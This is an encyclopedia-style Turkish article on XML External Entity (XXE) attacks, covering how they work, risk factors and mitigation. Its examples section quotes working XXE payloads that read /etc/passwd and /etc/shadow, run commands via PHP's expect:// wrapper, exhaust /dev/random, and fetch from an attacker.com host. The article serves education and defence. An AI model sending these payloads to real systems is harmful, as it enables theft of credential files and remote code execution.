XML harici varlık saldırısı

XML Harici Varlık saldırısı, XML girdilerini ayrıştıran bir uygulamaya karşı yapılan bir saldırı türüdür. Bu saldırı, harici bir varlığa referans içeren XML girdisi eksik yapılandırılmış bir XML ayrıştırıcısı ile işlendiğinde gerçekleşir. Bu saldırı gizli verilerin ifşasına, hizmet dışı bırakmaya, sunucu taraflı istek sahteciliğine, ayrıştırıcının bulunduğu makine tarafında port taramaya ve başka sistem etkilerine yol açabilir.

Açıklama 
XML 1.0 standardı bir XML belgesinin yapısını tanımlar. Standart, bir tür depolama birimi olan ve varlık olarak adlandırılan bir kavramı tanımlar. Beyan edilmiş bir sistem tanımlayıcısı ile yerel veya uzak içeriğe erişebilen birkaç farklı varlık tipi vardır. Harici genel/parametre ayrıştırılmış varlık sıklıkla harici varlığa kısaltılır. Sistem tanımlayıcısı varlık işlenirken XML işlemcisi tarafından erişilebilen bir URI olduğu varsayılır. XML işlemcisi sonra sistem tanımlayıcısı tarafından erişilen içeriklerin harici varlık oluşumlarının yerini almasını sağlar. Sistem tanımlayıcısı bozulmuş veri içeriyorsa ve XML işlemcisi bu bozulmuş veriye erişirse, XML işlemcisi uygulama tarafından normalde erişilemeyen gizli bilgileri ifşa edebilir. Harici DTD’lerin , harici biçem tablolarının, harici şemaların vb. kullanımında benzer şekilde harici kaynağa ekleme türü saldırılarına izin veriliyorsa ve dahil edildiklerinde benzer atak vektörleri uygulanır.      

Saldırılar, sistem tanımlayıcısındaki göreceli dizinler veya dosya şemaları kullanılarak parola ya da özel kullanıcı verileri gibi hassas veriler içerebilecek yerel dosyaları ifşa etmeyi içerebilir. XML belgesini işleyen uygulamaya ilişkin atak meydana geldiğinde, saldırgan bu güvenilir uygulamadan başka iç sistemlere geçmek ve muhtemelen başka iç sistem bileşenlerini http(s) istekleri üzerinden ifşa etmek veya korumasız herhangi bir iç servise bir CSRF saldırısı başlatmak için kullanabilir. Bazı durumlarda, istemci taraflı bellek bozulması sorunlarına zafiyeti bulunan bir XML işlemci kütüphanesi, zararlı bir URI ’ye erişerek ve muhtemelen uygulama hesabı altında rastgele kod çalıştırılmasına izin vererek sömürülebilir. Diğer saldırılar veri döndürmeyi durduramayan yerel kaynaklara erişebilir ve çok fazla iş parçacığı veya işlem başlatılmazsa uygulamanın erişilebilirliğini etkileyebilir.

Uygulamanın, bilgi ifşasına zafiyetinin bulunması için saldırgana cevabı açıkça döndürmesine gerek yoktur. Saldırgan alt etki alanı adları aracılığıyla denetimleri altındaki bir DNS sunucusuna veri aktarmak için DNS bilgisinden istifade edebilir.

Risk faktörleri 

 Uygulama XML belgelerini ayrıştırır. 
 Bozuk verilere, varlığın sistem tanımlayıcı bölümünde belge türü tanımı (DTD) dahilinde izin verilir.
 XML işlemci DTD'yi doğrulayacak ve işleyecek şekilde yapılandırılmıştır. 
 XML işlemci DTD dahilinde harici varlıkları çözmek için yapılandırılmıştır.

Örnekler 
Aşağıdaki örnekler XML Enjeksiyonu Testi'nden (OWASP-DV-008) alınmıştır .

Geri dönmeyebilir yerel bir kaynağa erişme 
 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

Uzaktan kod çalıştırma 
PHP "expect" modülü yüklendiğinde değiştirilmiş bir veri yükü (payload) ile uzaktan kod çalıştırılması mümkün olabilir.  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>

/etc/passwd veya diğer hedeflenen dosyaların ifşası 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

Hafifletme 
Tüm XML belgesi güvenilmeyen bir istemciden iletildiğinden, DTD'deki sistem tanımlayıcısında bozulmuş verileri seçip doğrulamak veya elemine etmek genellikle mümkün değildir. Bu sebeple, XML işlemcisi yerel sabit bir DTD kullanacak şekilde yapılandırılmalı ve XML dokümanına dahil edilen beyan edilmiş herhangi bir DTD’ye izin vermemelidir.

Ayrıca bakınız 

 SQL enjeksiyonu 
 Kör SQL enjeksiyonu

Kaynakça

Dış bağlantılar 

 OWASP XML External Entity (XXE) Prevention Cheat Sheet  
 Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques  
 Precursor presentation of above paper - at OWASP AppSec USA 2013  
 CWE-611: Information Exposure Through XML External Entity Reference  
 CWE-827: Improper Control of Document Type Definition  
 Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010  
 PostgreSQL XXE vulnerability  
 SharePoint and DotNetNuke XXE Vulnerabilities, in French  
 XML Denial of Service Attacks and Defenses (in .NET)  
 Early (2002) BugTraq Article on XXE  
 XML 1.0 Extensible Markup Language (XML) 1.0 (Fifth Edition) 

Exploitler